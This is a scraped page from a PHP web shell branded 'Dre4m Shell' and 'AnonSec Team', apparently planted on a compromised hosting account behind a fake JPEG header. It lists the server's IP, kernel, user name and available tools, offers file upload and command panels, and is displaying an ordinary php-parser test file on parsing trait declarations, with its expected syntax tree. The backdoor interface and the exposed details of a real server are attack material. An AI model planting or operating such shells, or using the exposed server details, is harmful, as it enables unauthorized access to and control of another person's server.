ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.141.30.221
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/nicnAdmin/vendor/nikic/php-parser/test/code/parser/stmt/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/nicnAdmin/vendor/nikic/php-parser/test/code/parser/stmt/class/trait.test
Traits
-----
<?php

trait A {
    public function a() {}
}

class B {
    use C;
    use D {
        a as protected b;
        c as d;
        e as private;
    }
    use E, F, G {
        E::a insteadof F, G;
        E::b as protected c;
        E::d as e;
        E::f as private;
    }
}
-----
array(
    0: Stmt_Trait(
        name: A
        stmts: array(
            0: Stmt_ClassMethod(
                type: 1
                byRef: false
                name: a
                params: array(
                )
                returnType: null
                stmts: array(
                )
            )
        )
    )
    1: Stmt_Class(
        type: 0
        name: B
        extends: null
        implements: array(
        )
        stmts: array(
            0: Stmt_TraitUse(
                traits: array(
                    0: Name(
                        parts: array(
                            0: C
                        )
                    )
                )
                adaptations: array(
                )
            )
            1: Stmt_TraitUse(
                traits: array(
                    0: Name(
                        parts: array(
                            0: D
                        )
                    )
                )
                adaptations: array(
                    0: Stmt_TraitUseAdaptation_Alias(
                        trait: null
                        method: a
                        newModifier: 2
                        newName: b
                    )
                    1: Stmt_TraitUseAdaptation_Alias(
                        trait: null
                        method: c
                        newModifier: null
                        newName: d
                    )
                    2: Stmt_TraitUseAdaptation_Alias(
                        trait: null
                        method: e
                        newModifier: 4
                        newName: null
                    )
                )
            )
            2: Stmt_TraitUse(
                traits: array(
                    0: Name(
                        parts: array(
                            0: E
                        )
                    )
                    1: Name(
                        parts: array(
                            0: F
                        )
                    )
                    2: Name(
                        parts: array(
                            0: G
                        )
                    )
                )
                adaptations: array(
                    0: Stmt_TraitUseAdaptation_Precedence(
                        trait: Name(
                            parts: array(
                                0: E
                            )
                        )
                        method: a
                        insteadof: array(
                            0: Name(
                                parts: array(
                                    0: F
                                )
                            )
                            1: Name(
                                parts: array(
                                    0: G
                                )
                            )
                        )
                    )
                    1: Stmt_TraitUseAdaptation_Alias(
                        trait: Name(
                            parts: array(
                                0: E
                            )
                        )
                        method: b
                        newModifier: 2
                        newName: c
                    )
                    2: Stmt_TraitUseAdaptation_Alias(
                        trait: Name(
                            parts: array(
                                0: E
                            )
                        )
                        method: d
                        newModifier: null
                        newName: e
                    )
                    3: Stmt_TraitUseAdaptation_Alias(
                        trait: Name(
                            parts: array(
                                0: E
                            )
                        )
                        method: f
                        newModifier: 4
                        newName: null
                    )
                )
            )
        )
    )
)

Anon7 - 2022
AnonSec Team